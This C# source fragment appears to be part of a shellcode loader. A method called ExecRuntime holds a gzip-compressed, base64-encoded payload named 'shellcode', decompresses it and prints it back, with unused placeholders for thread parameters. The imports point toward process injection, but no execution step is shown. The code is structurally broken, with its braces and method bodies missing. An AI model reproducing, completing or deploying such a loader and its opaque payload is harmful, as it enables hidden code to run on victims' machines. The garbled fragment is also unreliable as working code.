using System;using System.IO;using System.Diagnostics;using System.Text;
using System.Runtime.InteropServices; using System.IO.Compression;
using Microsoft.Win32.SafeHandles;using System.Runtime.ConstrainedExecution;
using System.Security.Principal;using System.Security.Permissions;using System.Security;
public static void Main()
public static byte[] Decompress(byte[] data)
using (MemoryStream compressedStream = new MemoryStream(data))
using (GZipStream zipStream = new GZipStream(compressedStream, CompressionMode.Decompress))
using (MemoryStream resultStream = new MemoryStream())
byte[] buffer = new byte[16*1024];
while ((read = zipStream.Read(buffer, 0, buffer.Length)) > 0)
resultStream.Write(buffer, 0, read);
return resultStream.ToArray();
public static void ExecRuntime()
string shellcodeBase64 = "H4sIACYPy10C//vj0fzkw4sjDAwMjoGOAUGBYR6Gl1I9uoMSgFgCiBU8uosCPPi3e3n5Gp70MDywxiaxhklHwfHgSV5HxoOP3gY5BoJUdTvZeDBeSGuskOBmKs3rbugAGujReqAkGSga0O0h4dLtoODJeOFxkMf/k47dJh0ejNeg5kFNsnhQ+tGH2UeFw9XyYumNCKB6FaD6NMduHg8gWwbIduxmAWq74BjhGBEXGQWkIh2jHIP+PwAyojy6hV4G////P9aj+Y2Dx3EXFQOg/QxAWgNKKzADaVfDk447GIGMXUDc4NHbmwnkOO669e2W//+rHp0uKmCtCiAtPr29kSDJHRwgj/ROTQRyPLp9VBwcd62dF78bqBzCOTatPQjEaQUp2CkAUVwEUmzI5NF8iOPR99eSDGgg2SqmIr9IL5thcqAR52u5/26fNd4cfyNess/yr9pOpa+7Fk1YNOX4MRsN4TAl4VjJArVwWRXmcElxQVNmxqgwXmNNPnW7aN80G3N3bpOImDRtXRd1Jf54rjqLcLd0DaZUDR1JGQ0Z71RtBSkOaaaweDNtOR47k9hYCwVtOW2ueHFtW+YKAF6+IH71AQAA";
byte[] shellcodeCompressed = Convert.FromBase64String(shellcodeBase64);
byte[] shellcodeByteArr = Decompress(shellcodeCompressed);
string threadParametersBase64 = "";
byte[] threadParameters = {};
if(threadParametersBase64.Length > 0){
byte[] threadParametersCompressed = Convert.FromBase64String(threadParametersBase64);
threadParameters = Decompress(threadParametersCompressed);
Console.WriteLine(Convert.ToBase64String(shellcodeByteArr));